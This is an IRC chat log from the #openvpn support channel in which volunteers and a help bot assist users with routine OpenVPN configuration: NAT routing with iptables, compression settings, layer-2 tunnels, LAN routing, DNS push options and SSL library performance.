03:48 <@krzee> im on my mbp too
03:48 < Dropje> well there you go !
03:48 <@krzee> their laptops are great
03:48 < Dropje> agree
03:49 <@krzee> i only talked about iphone/ipod
03:49 < Dropje> UNIX benefits without all the hussle
03:49 <@krzee> unix benefits if you jailbreak
03:49 < vaillor> to set routing i only need to add "iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE" to server ?
03:49 <@krzee> otherwise no unix for you!
03:49 < Dropje> same goes for droid :)
03:49 < Dropje> root it
03:49 <@krzee> nah man droid comes with unix either way
03:49 < Dropje> vaillor: depends on your setup
03:50 <@krzee> turn on usb debugging, dab shell, booya you at the prompt
03:50 <@krzee> adb shell*
03:50 < vaillor> Dropje, setup of openvpn?
03:50 < Dropje> krzee: ok, thats something we can agree on.. thats cool
03:50 < Dropje> vaillor: yes and your server
03:50 < Dropje> how do i know if your outgoing interface is called eth0?
03:50 < Dropje> how do i know if you're even running a Linux server?
03:51 < vaillor> yes, i'm running debian
03:51 <@krzee> vaillor, this only works if you put thought into it. you can't confirm every single line
03:51 < vaillor> http://nopaste.info/8d4c4f47f0.html
03:51 < vaillor> this is my setup
03:52 < Dropje> vaillor: seems basic.. have you tested it somewhere *besides* your ipod/iphone?
03:52 <@krzee> why do you still have lines 32 and 33
03:52 < Dropje> do you have a lan behind the vpn server? are you able to access machines there through the tunnel?
03:52 <@krzee> we told you to get rid of those days ago
03:53 < vaillor> krzee, yes, i know, it's an old pastebin
03:53 <@krzee> then why paste it!@#@#$
03:53 <@krzee> !ask
03:53 <@vpnHelper> "ask" is don't ask to ask, just ask your question please, see this link for how to get help on IRC: http://workaround.org/getting-help-on-irc
03:53 <@krzee> read that page ^
03:53 -!- kls [~kls@198.211.125.123] has joined #openvpn
03:53 < vaillor> Dropje, i tested it to run without redirection and it works
03:53 < kls> hi!
03:53 < vaillor> now i'm going to implement the redirection
03:54 < cnf> how do i turn off comp-lzo ?
03:54 <@krzee> cnf, by not putting it in either config
03:54 < kls> cnf: i suppose comment it out in the config
03:54 <@krzee> er wait no
03:54 <@krzee> 1sec
03:54 <@krzee> !man
03:55 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
03:55 -!- trow [~xxx@ip-static-94-242-205-4.as5577.net] has quit [Ping timeout: 245 seconds]
03:55 < vaillor> i found also another guide that told me to add a "route" line
03:55 <@krzee> its comp-lzo off or no or something like that
03:55 < vaillor> i need to do it?
03:55 < Dropje> vaillor: you're going to fast
03:55 <@krzee> vaillor, read the manual
03:55 <@krzee> see what route does
03:55 <@krzee> then decide if you want it
03:55 <@krzee> makes sense?
03:55 < Dropje> first, make a basic config which works.. then check if you're able to access hosts behind the vpn server
03:56 < vaillor> route makes routing between 2 different networks
03:56 < Dropje> if you have any that is
03:56 < cnf> i have comp-lzo no in there
03:56 < vaillor> Dropje, done, i can access to host
03:56 < Dropje> vaillor: can you access different hosts in the subnet of the VPN server, not the server itself?
03:57 <@krzee> cnf, perfect
03:57 < cnf> just trying to get cpu usage down
03:57 <@krzee> cnf, with that, you can turn it on later at the server too
03:57 <@krzee> compression doesn't really help anyways
03:57 <@krzee> most stuff is already compressed
03:57 < vaillor> Dropje, i should try
03:57 <@krzee> not too often that you send highly compressible data over the wire
03:58 < Dropje> krzee: thats true, unless you redirect-gateway and browse sites?
03:58 <@krzee> many web servers use gzip compression on the fly
03:58 < Dropje> true that
03:58 < cnf> yeah
03:58 < cnf> hmm
03:58 < cnf> no compression, no encryption
03:58 < Dropje> just realized while saying it
03:58 <@krzee> cnf,
03:58 < cnf> and i get about 3mbit with 100% cpu :(
03:58 <@krzee> !noenc
03:58 <@vpnHelper> "noenc" is (#1) if you're going to disable encryption, you might as well build a GRE tunnel or (#2) but you would use cipher none
03:58 <@krzee> why even use openvpn if you don't want encryption?
03:59 < vaillor> Dropje, if i can't reach hosts, i need to add route ?
03:59 < cnf> because we need a layer 2 tunnel
03:59 < cnf> someting that does NOT route
03:59 < Dropje> krzee: GRE is not oftenly allowed to pass on SOHO routers
03:59 < cnf> the data going over it was on open wifi just before, so it's not like encryption matters
03:59 <@krzee> ahh
04:00 <@krzee> what version openvpn you using?
04:00 < cnf> and functionally, openvpn does just what we need
04:00 < cnf> hmm, lemme check
04:00 <@krzee> maybe you can get more bw from this
04:00 <@krzee> !gigabit
04:00 <@vpnHelper> "gigabit" is https://community.openvpn.net/openvpn/wiki/Gigabit_Networks_Linux for JJK's writeup on getting the most out of openvpn over gigabit
04:00 < cnf> OpenVPN 2.1.4 mips-openwrt-linux [SSL] [LZO2] [EPOLL] built on Nov 14 2011
04:00 <@krzee> oh boy
04:00 <@krzee> well ok that explains it
04:00 < cnf> the version, or the cpu? :P
04:00 <@krzee> if you need more, switch to a real computer
04:00 <@krzee> both
04:01 < cnf> yeah, not much of an option there
04:01 <@krzee> openwrt will work
04:01 < cnf> this is x2000
04:01 <@krzee> but if you hit cpu limits, then go bigger
04:01 < cnf> trying to keep cost down a little bit :P
04:01 <@krzee> how many mhz is it?
04:02 <@krzee> and is the cost of a cheap computer very high?
04:02 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
04:02 <@krzee> it doesnt need to be some kind of beast
04:02 < cnf> krzee: no, but times 2000 it's substantial
04:02 <@krzee> times 2000 what?
04:03 < cnf> plus, this need to be installed at client  locations with 0 fuss, and stay there for a few yeras
04:03 < cnf> krzee: cost of a cheap computer
04:03 < cnf> times 2000 client locations
04:03 <@krzee> lol lol
04:03 <@krzee> you thinking about layer2 to 2000 locations?
04:04  * krzee smells broadcast storms brewing
04:04 <@krzee> whats the real goal cnf?
04:05 < Dropje> krzee: exactly what i was thinking, especially with windows or osx clients
04:06 < cnf> to a local firewall / captive portal
04:06 <@krzee> you lose half the sentance?
04:07 < cnf> it was a continuation of your question :P
04:07 <@krzee> whats the real goal cnf to a local firewall / captive portal
04:07 < Dropje> vaillor: i wanted you to start out with accessing hosts so you know what needs to be done
04:07 <@krzee> doesnt fit
04:08 < Dropje> !servlan
04:08 < Dropje> !serverlan
04:08 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
04:08 <@krzee> cnf, whats the problem you want to solve by using a layer2 vpn with no encryption?
04:08 < cnf> krzee: have wifi access points centrally managed
04:08 <@krzee> why would that need layer2?
04:09 < cnf> because sometimes the AP
04:09 < cnf> because sometimes the AP's are under our control
04:09 < cnf> sometimes not
04:09 <@krzee> ?and how does layer2 help?
04:09 < cnf> because the system they use here uses mac address filtering
04:10 <@krzee> nathack it
04:10 <@krzee> !nathack
04:10 <@vpnHelper> "nathack" is see https://community.openvpn.net/openvpn/wiki/NatHack for info on how to solve the problem when you need !route_outside_ovpn but cant add a route to the gateway or the lan machines
04:10 <@krzee> then you show up as the other end of the vpn
04:10 < cnf> o,O
04:11 <@krzee> first of all, you aint likely to have 2000 clients on 1 vpn
04:11 < cnf> uhm
04:11 < cnf> there are 1000 atm
04:11 <@krzee> secondly, that many layer2 connections would fubar you
04:11 <@krzee> openvpn will likely shit before 2000
04:11 <@krzee> single threaded and whatnot
04:11 < kls> Question — anyone know why my internet connection through VPN dies when I enable "Apply DNS settings simultaneously" in Viscosity / OSX? If I disable it, it works again, but I'm not sure if I'm using the server-pushed DNS settings?
04:11 <@krzee> and 1000 is impressive, ive heard of it shitting closer to 200
04:12 <@krzee> i guess its gotten better in that respect =]
04:12 < cnf> oh, it's not on openvpn atm
04:12 < cnf> it's sonic wall propriatary bs
04:12 < cnf> which needs ditching, fast :P
04:12 <@krzee> ahh, well it makes since that i assumed we were talking about openvpn ;]
04:12 < cnf> yep, should have specified
04:13 <@krzee> umm wait a sec lets backup
04:13 <@krzee> your sonicwall has 1000 clients layer2'ed together?
04:14 < cnf> no
04:14 <@krzee> ahh ok
04:14 < cnf> the sonic walls do their own captive portal crap
04:14 < cnf> but it ONLY works if you are 100% sonicqll
04:14 -!- kls [~kls@198.211.125.123] has quit [Remote host closed the connection]
04:14 < cnf> which is, both for technical and political reasons, not what they want here
04:18 < cnf> anyway, the layer2 is a sollution for a lot of separate problems
04:19 < cnf> which i'll not go into
04:19 < cnf> krzee: either way, every AP will have it's own VLAN anyway
04:19 <@krzee> cool
04:20 < cnf> it's a way we can put our own AP's around, and have existing setups connect as well
04:20 < rob0> 4:20!
04:20 <@krzee> !krzee
04:20 <@vpnHelper> "krzee" is (#1) krzee says happy 4/20 or (#2) http://www.ircpimps.org/pics/krzee/blunt.jpg or (#3) location: moon base where he smokes moonajuana
04:20 <@krzee> #1
04:20 < cnf> and i say "our", but i'm only here as a consultant, really :P
04:21 <@krzee> but ya, you can see about tuning for better bw
04:21 <@krzee> you got the link from !gigabit
04:22 <@krzee> and 2.1 is rather old, theres a chance updating that will get you more
04:23 <@krzee> maybe it wouldnt hurt to check if linux has figured out any updates to the tap device since yours was built as well
04:23 < cnf> plausible
04:25 < tejeskifly> ok im read the howto, but i don't find the answer, or i don't understand, what ned i do
04:27 < tejeskifly> someone can help, wich is that point what i need in howto?
04:28 < cnf> what is strange is that zlo and encryption has the same performance as no lzo and no encryption
04:28 <@krzee> tejeskifly,
04:28 <@krzee> !route
04:28 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind
04:28 <@vpnHelper> the server or client
04:29 <@krzee> if its the openvpn process then it isnt crypto
04:29 <@krzee> openvpn uses openssl or polarssl to handle its crypto
04:29 <@krzee> then again you may have one with that staticly built in
04:30 <@krzee> i wouldnt know i dont have any openwrt
04:30 <@krzee> if crypto does become a cpu issue you could look into using polarssl, its lighter
04:31 < vaillor> iptables is the only way to make redirection?
04:31 < vaillor> i don't have it
04:32 <@krzee> vaillor, your server is linux but no iptables?
04:32 < vaillor> yes
04:32 < vaillor> i should install it
04:32 < vaillor> root@debian-VM:~# iptables
04:32 < vaillor> -bash: iptables: command not found
04:32 <@krzee> then you cant route your internet over it until you get it (or something else that can do NAT)
04:33 -!- trow [~xxx@ip-static-94-242-205-4.as5577.net] has joined #openvpn
04:39 < tejeskifly> ok, what dos it mean in howto? "client1 with lan 10.10.1.0
04:39 < tejeskifly> client2 with lan 10.10.3.0 " for me clients have dynamic ip
04:39 < tejeskifly> i need set fixed ip adress?
04:40 <@krzee> tejeskifly, you have clients whose lans you want shared over the vpn, right?
04:40 < tejeskifly> yes
04:40 <@krzee> in my example:  client1 has lan 10.10.1.0/24
04:40 < rob0> those are network addresses
04:40 < tejeskifly> i only want see my windows shared folders from openvpn
04:40 < rob0> Do you know what a network address is?
04:40 <@krzee> then dont push the networks to other clients
04:41 <@krzee> (if you only want the server to access it)
04:41 <@krzee> also, do not use client-to-client
04:42 < tejeskifly> few min ago, you saw i need !route
04:42 < tejeskifly> in this howto, i need set client-to-client
04:42 <@krzee> yes, i wrote that doc
04:42 <@krzee> !route
04:42 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind
04:42 <@vpnHelper> the server or client
04:43 <@krzee> oh i guess i dont mention that the doc is for you to learn from
04:43 <@krzee> not to copy 100% blindly
04:43 <@krzee> it EXPLAINS what client-to-client does
04:43 <@krzee> if you dont want that, dont use that
04:43 < rob0> You just stated that your goal is only to "see" your Windows shared folders. Where are/is those/that Windows host[s]?
04:44 < tejeskifly> ok i start it again :D
04:44 <@krzee> you want to access them only from the server, right?
04:44 < tejeskifly> i have in office one ubuntu server, one windows xp pc
04:44 < tejeskifly> i have installed openvpn server to ubuntu server, and the windows xp client connected
04:45 < rob0> sounds like a !serverlan
04:45 < tejeskifly> i have one laptop with windows 7
04:45 -!- trow [~xxx@ip-static-94-242-205-4.as5577.net] has quit [Ping timeout: 246 seconds]
04:45 < tejeskifly> im using it at home. I want see and use the shared folders from windows xp pc
04:45 < rob0> and from somewhere else (not the office) you are using an openvpn client and would like to ... ^^ yes
04:46 < rob0> the laptop is the client
04:46 < jzaw> krzee, are the server-ipv6 and ifconfig-ipv6-pool directives incompatible in some way ?
04:46 < tejeskifly> the laptop, and the windows xp pc are the clients
04:47 < tejeskifly> ubuntu is the server
04:47 < rob0> hm? You said above that XP was at the office with ubuntu.
04:47 < tejeskifly> yes
04:47 < rob0> If that's so, why is XP running openvpn?
04:47 < jzaw> else is $prefix::1000 hardcoded as the start of the pool in server-ipv6?
04:48 < tejeskifly> i don't know, i think its needed
04:48 < rob0> why?
04:48 < tejeskifly> to acces the shared folder
04:49 < tejeskifly> i think, openvpn is a "virtual lan cabel", and i need connect to all computer wich i want connect to network
04:50 < rob0> Establish the tunnel from laptop to Ubuntu first, just a simple peer-to-peer would suffice. Then see the flowchart under !serverlan
04:50 < Dropje> rob0: this is going to lead to networking 1 on 1 ;)
04:50 < rob0> no, you know I don't do that
04:50 < tejeskifly> !serverlan
04:50 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
04:51 < rob0> Folks who are doing this for work should either learn networking or get the boss to hire someone who knows networking.
04:52 < tejeskifly> if it easyer i can run the openvpn server on the windows pc
04:52 < rob0> that is true!
04:52 <@krzee> js_, no idea i dont use ipv6 but you can have a look at 2.3 manual and also maybe the old ipv6 patch page (very old)
04:52 < rob0> assuming you can get through the firewall/NAT, of course.
04:52 <@krzee> oops
04:52 < js_> oops!
04:52 <@krzee> jzaw,  no idea i dont use ipv6 but you can have a look at 2.3 manual and also maybe the old ipv6 patch page (very old)
04:53 <@krzee> js_, =]
04:53 <@krzee> hi!
04:53 < jzaw> krzee, :)
04:53 < js_> hello!
04:53 < jzaw> hehe
04:53 -!- mode/#openvpn [+v js_] by krzee
04:53 <+js_> :O
04:54 < jzaw> krzee, i was looking at the man that got compiled in from trunk
04:54 <@krzee> !ipv6
04:54 <@vpnHelper> "ipv6" is (#1) http://www.greenie.net/ipv6/openvpn.html for info about the ipv6 patch (adds nice ipv6 options to openvpn) or (#2) use 2.3 or see !snapshots for a release with ipv6 patches in it or (#3) http://ipstats.arvig.net/BraveHeartMEME.jpg
04:54 <@krzee> thats the old old link
04:54 < jzaw> ive got it working how i wanted but it does seem that way
04:54 < jzaw> yes that link too ... but mainly man openvpn on my box
04:55 < tejeskifly> ok im following this now: http://ircpimps.org/serverlan.png
04:55 <@krzee> thats for debugging, doesnt attempt to teach you
04:56 <@krzee> does give us an idea of where you're stuck tho
04:56 < tejeskifly> yes and i want to find it now what need i do
04:57 < tejeskifly> the push "route 10.10.10.0 ...." i need write the client openvpn ip here?
04:58 <@krzee> know what a subnet is?
05:02 -!- MarKsaitis [~MarKsaiti@194.168.230.106] has joined #openvpn
05:08 < tejeskifly> ok now im starting to cry :D
05:10  * krzee points at Dropje :D
05:15 < rob0> As you pointed out earlier, a simple XP-to-laptop tunnel would be easier; no external routing to worry about. A p2p mode (static key) tunnel could probably punch through any firewalls in the way, too.
05:17 < tejeskifly> like in this howto?
05:17 < tejeskifly> http://john.de-graaff.net/wiki/doku.php/links/openvpn
05:17 <@vpnHelper> Title: OpenVPN config examples · John de Graaff (at john.de-graaff.net)
05:19 -!- bkrieg1337 [~bkrieg133@112.198.141.48] has joined #openvpn
05:21 < rob0> http://openvpn.net/index.php/open-source/documentation/miscellaneous/78-static-key-mini-howto.html
05:21 <@vpnHelper> Title: Static Key Mini-HOWTO (at openvpn.net)
05:28 < jzaw> krzee, i saw you mention polarssl ... i had to use polarssl on openwrt purely because of flashram space constraints in the tp-link
05:30 < jzaw> but are there any advantages to using polarssl vs openssl on a  server? (N40L HP Microserver)
05:36 -!- tejeskifly [~user@5401CEAE.dsl.pool.telekom.hu] has quit [Read error: Connection reset by peer]
05:37 -!- digilink_ [~digilink@70.90.228.197] has quit [Remote host closed the connection]
05:37 -!- digilink_ [~digilink@70.90.228.197] has joined #openvpn
05:37 -!- tejeskifly [~user@5401CEAE.dsl.pool.telekom.hu] has joined #openvpn
05:37 -!- digilink_ [~digilink@70.90.228.197] has quit [Client Quit]
05:38 -!- digilink_ [~digilink@70.90.228.197] has joined #openvpn
05:38 -!- digilink_ [~digilink@70.90.228.197] has quit [Client Quit]
05:38 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
05:38 -!- digilink [~digilink@unaffiliated/digilink] has quit [Remote host closed the connection]
05:42 -!- MarKsaitis [~MarKsaiti@194.168.230.106] has quit [Read error: Connection reset by peer]
05:43 -!- MarKsaitis [~MarKsaiti@194.168.230.106] has joined #openvpn
05:46 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
05:46 <@krzee> jzaw, that depends if one of them implimented something you use better or not
05:47 < jzaw> im not doing anything exotic ... just plain old cription AES
05:47 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
05:47 < jzaw> but just wondering from a speed  or cpu load point of view ?
05:48 <@krzee> im not sure, but would think that polar may be faster
05:52 -!- trow [~xxx@ip-static-94-242-205-4.as5577.net] has joined #openvpn
05:52 < tejeskifly> ok now the p2p tunel work, but is public network, so the shares don't work on publick networks :DDD
05:53 < tejeskifly> i try take push "route-metric 512" and push "route 0.0.0.0 0.0.0.0" in server config, and still public :D
05:53 < tejeskifly> thet solution work befor, and i can set te network type
06:00 < vaillor> i've added iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE
06:00 < vaillor> but client doesn't navigate in internet
06:04 -!- master_o1_master [~master_of@p4FF248D4.dip.t-dialin.net] has joined #openvpn
06:05 -!- vaillor2 [~ahah@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
06:06 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has quit [Read error: Connection reset by peer]
06:07 -!- master_of_master [~master_of@p4FF24F2E.dip.t-dialin.net] has quit [Ping timeout: 260 seconds]
06:09 < vaillor2> no... nothing to do
06:10 < vaillor2> i added dhcp-option DNS 10.8.0.1
06:10 < vaillor2> but on 10.8.0.1 i don't have a dns server
06:10 < vaillor2> my dns serve is my router
06:10 < vaillor2> 192.168.1.254
06:14 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has joined #openvpn
06:27 -!- MarKsaitis [~MarKsaiti@194.168.230.106] has quit [Ping timeout: 245 seconds]
06:27 <@dazo> vaillor2: why did you add "dhcp-option DNS 10.8.0.1" when you don't have a dns server on 10.8.0.1?
06:28 <@dazo> That's like putting a gun to your foot, pulling the trigger and be surprised your foot hurts
06:28 < vaillor2> because on the howto saids to do this
06:28 < vaillor2> but the real dns server is on another subnet
06:28 < vaillor2> 192.168.1.254
06:29 < vaillor2> if i use "dhcp-option DNS 192.168.1.254"
06:29 < vaillor2> it will work?
06:29 <@dazo> I'm sorry ... it's probably the how-to's fault .... it probably forgot to state: Use your brain! Needs adaptation to your own network
06:29  * dazo heads out for a while
06:30 < vaillor2> yes, but the problem is, as i already said, that vpn is 10.8.0.0 and the dns is on 192.168.1.254/24
06:30 < vaillor2> they are different network, so do i need to set a route rule?
06:30 <@krzee> lol dazo i said that about mine a minute ago
06:31 < vaillor2> krzee, is la little difficult to understand, i'm newbie
06:31 < vaillor2> i'm not an expert or system administrator
06:31 <@krzee> i wasnt saying it to you before
06:32 <@krzee> was directed at someone else when i said it :-p
06:33 <@dazo> vaillor2: you'll get a grace comment from me before I really go for lunch .... "so do i need to set a route rule?" <<--- This is using your brain!
06:33 <@dazo> continue doing that!
06:34 < vaillor2> ok, let's learn how to make a route rule.
06:34 <@dazo> vaillor2: look at !tcpip ... that gives you the basic on routing
06:35 <@dazo> krzee: just a quick polar comment ... polar is smaller, not necessarily faster than openssl, as openssl makes use of a lot of assembly wherever possible and can also make use of the AES-NI instructions in certain CPUs ... polar have no AES-NI support, nor other hardware offloading features
06:35 < rob0> Scary, how many people who don't know basic networking and IP routing "need" advanced IP routing features.
06:35 < vaillor2> ok
06:35 < vaillor2> !tcpip
06:35 <@dazo> !tcpip
06:35 <@vpnHelper> "tcpip" is http://www.redbooks.ibm.com/redbooks/pdfs/gg243376.pdf See chapter 3.1 for useful basic TCP/IP networking knowledge you should probably know
06:35 <@vpnHelper> "tcpip" is http://www.redbooks.ibm.com/redbooks/pdfs/gg243376.pdf See chapter 3.1 for useful basic TCP/IP networking knowledge you should probably know
06:36 <@krzee> ahh i figured smaller would mean it may run faster, havnt seen any comparisons for speed yet
06:36 <@dazo> krzee: openssl is a nasty beast in many ways ... but it's really optimised heavily for performance ... which is one of the really good features of openssl
06:37 <@krzee> makes sense
06:38 <@dazo> krzee: normally smaller code runs faster ... but when you start optimising small code, especially when introducing assembly, the code grows again - and especially when supporting multiple CPU architectures
06:38  * dazo really heads out for some food now :)
06:38 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
06:40 -!- MikeH [MikeH@2a01:7e00::f03c:91ff:fe93:f271] has joined #openvpn
06:40 < MikeH> Hi guys, got a little bit of a problem with openvpn
06:41 < MikeH> I'm trying to run it, specifying config with --config and it exits without error
06:41 < MikeH> It runs ok if I remove a load of config directives, but without an error, I can't see why
06:42 < rob0> !daemon
06:42 < rob0> Without "daemon" in the config, it logs to stdout.
06:42 < rob0> !logs
06:42 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
06:42 < rob0> !logfile
06:42 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info
07:04 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
07:04 -!- vaillor2 [~ahah@2-226-37-187.ip179.fastwebnet.it] has quit [Read error: Connection reset by peer]
07:08 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
07:17 < tejeskifly> can i set default getway if im usin p2p tunneling?
07:18 -!- MarKsaitis [~MarKsaiti@194.168.230.106] has joined #openvpn
07:18 < tejeskifly> i can set, if im using de default openvpn sample config file, not static key and p2p tunneling
07:19 < tejeskifly> with push "route-metric 512" push "route 0.0.0.0 0.0.0.0", but if im using p2p tunnelig this solution don't work
07:19 < tejeskifly> on win7
07:20 < tejeskifly> any idea?
07:27 -!- Scapal [~Scapal@host-85-201-20-121.brutele.be] has joined #openvpn
07:27 -!- Scapal [~Scapal@host-85-201-20-121.brutele.be] has left #openvpn []
07:35 -!- brute11k [~brute@89.249.230.11] has joined #openvpn
07:36 < jzaw> if i want to save files and conf's that are outside of /etc/config into a backup do i just put a flat list of files and dirs with paths in sysupgrade.conf and then sysupgrade -b ?
07:39 < kisom> jzaw: ...how is that a question related to openvpn?
07:40  * ecrist guesses it was a mt
07:42 < rob0> tejeskifly, no, of course that does not work. Why do you think you need to redirect the gateway, just to access your fileshares?
07:43 < rob0> In point of fact, --redirect-gateway works the same on p2p as it would through server/client, with the exception of no "push" and "pull".
07:43 < rob0> but that is silly
07:43 < jzaw> ooops kisom wrong channel
07:43 < jzaw> hehe
07:44 < vaillor> "route" in openvpn config is the same of the "route" command line tool?
07:44 < rob0> no
07:45 < vaillor> what's the difference?
07:48 < rob0> depends on context, and described in the man page under "--route"
07:51 < vaillor> !man
07:51 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
07:52 < vaillor> rob0, they do the same thing, the difference is that route under config file removes rule after disconnetting
08:09 < TheWarden> Hi all
08:11 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
08:13 < TheWarden> I'm still trying to build a native Debian package. I believe I'm closer then I've ever been but I still have one issue that remains so far. After I do debuild -us -uc I get multiple errors like so, https://gist.github.com/thewarden/fa3d3f19cb00f5f5708a
08:13 <@vpnHelper> Title: debuild -us -uc results (at gist.github.com)
08:13 < TheWarden> any suggestions?
08:14 -!- Anon2013 [~Anon2013@109.166.142.89] has joined #openvpn
08:21 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has quit [Read error: Connection reset by peer]
08:21 <@dazo> TheWarden: That's not related to openvpn ... you'd probably be better off asking in some other debian related channel
08:22 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
08:22 < TheWarden> dazo: oh crap, sorry I didn't realize I was in the wrong channel. My apologizes :).
08:22 <@dazo> no worries!
08:24 -!- JackSparrow [~death@2001:41d0:1:d4e5:dead::42] has quit [Ping timeout: 252 seconds]
08:25 -!- JackSparrow [~death@2001:41d0:1:d4e5:dead::42] has joined #openvpn
08:30 -!- Anon2013 [~Anon2013@109.166.142.89] has left #openvpn []
08:30 < vaillor> dazo, doesn't work :\ my configuration is: client ip: 192.168.1.128, client vpn: 10.8.0.2 server ip: 192.168.1.133 server vpn: 192.168.0.1
08:31 < vaillor> i tried adding in server.conf "route 10.8.0.0 255.255.255.0"
08:31 < vaillor> but doesn't route
08:31 < tejeskifly> rob0 i need default geetway te set from public to private the network type. On public network the network shares don't work. But i solve my problem. Here is the solution: 1. uninstall openvpn 2. install hamachi 3. enjoy :D
08:31 < tejeskifly> hamachi free enable only 5 client, but i have only 2 :)
08:32 < tejeskifly> but thanks for everyone for help :)
08:32 < rob0> awesome. But no, that was wrong. :)
08:32 < rob0> The openvpn answer was simple: connect to the peer's VPN IP address, enjoy.
08:35 -!- tejeskifly [~user@5401CEAE.dsl.pool.telekom.hu] has quit [Quit: Leaving]
08:37 -!- MarKsaitis [~MarKsaiti@194.168.230.106] has quit [Read error: Connection reset by peer]
08:49 <@dazo> some people just give up before they really try ... and when such people "grow up" they call themselves IT experts and become pointy-hairy-bosses with completely clueless management skills
08:50 <@dazo> poor proper knowledgeable geeks ....
08:55 -!- trow [~xxx@ip-static-94-242-205-4.as5577.net] has left #openvpn ["Leaving"]
08:57 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Ping timeout: 245 seconds]
08:59 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
09:22 -!- bkrieg1337 [~bkrieg133@112.198.141.48] has quit [Ping timeout: 256 seconds]
09:42 -!- Starscreamer [~starscrea@5e01b8c3.bb.sky.com] has joined #openvpn
09:48 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds]
09:48 -!- dazo [~dazo@2001:470:de40:1021::14] has joined #openvpn
09:48 -!- dazo [~dazo@2001:470:de40:1021::14] has quit [Changing host]
09:48 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn
09:48 -!- mode/#openvpn [+o dazo] by ChanServ
10:00 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
10:11 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
10:15 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit [Read error: Connection reset by peer]
10:15 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
10:18 -!- Starscreamer [~starscrea@5e01b8c3.bb.sky.com] has quit [Quit: Colloquy for iPad - http://colloquy.mobi]
10:25 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit [Read error: Connection reset by peer]
10:26 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
10:39 -!- raidz_away is now known as raidz
10:41 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Quit: Leaving]
10:51 -!- d33tah_ [~d33tah@212.191.72.35] has joined #openvpn
10:52 -!- d33tah [~d33tah@212.191.72.35] has quit [Ping timeout: 256 seconds]
10:59 -!- JackSparrow [~death@2001:41d0:1:d4e5:dead::42] has quit [Ping timeout: 245 seconds]
11:01 -!- JackSparrow [~death@2001:41d0:1:d4e5:dead::42] has joined #openvpn
11:10 -!- Orbi [~opera@46.246.36.187] has joined #openvpn
11:11 -!- JackSparrow [~death@2001:41d0:1:d4e5:dead::42] has quit [Ping timeout: 245 seconds]
11:15 -!- ihptru [~ihptru@2a02:2770::21a:4aff:fef3:cdbb] has left #openvpn ["Leaving"]
11:18 -!- JackSparrow [~death@2001:41d0:1:d4e5:dead::42] has joined #openvpn
11:31 -!- JackSparrow [~death@2001:41d0:1:d4e5:dead::42] has quit [Ping timeout: 245 seconds]
11:34 -!- JackSparrow [~death@2001:41d0:1:d4e5:dead::42] has joined #openvpn
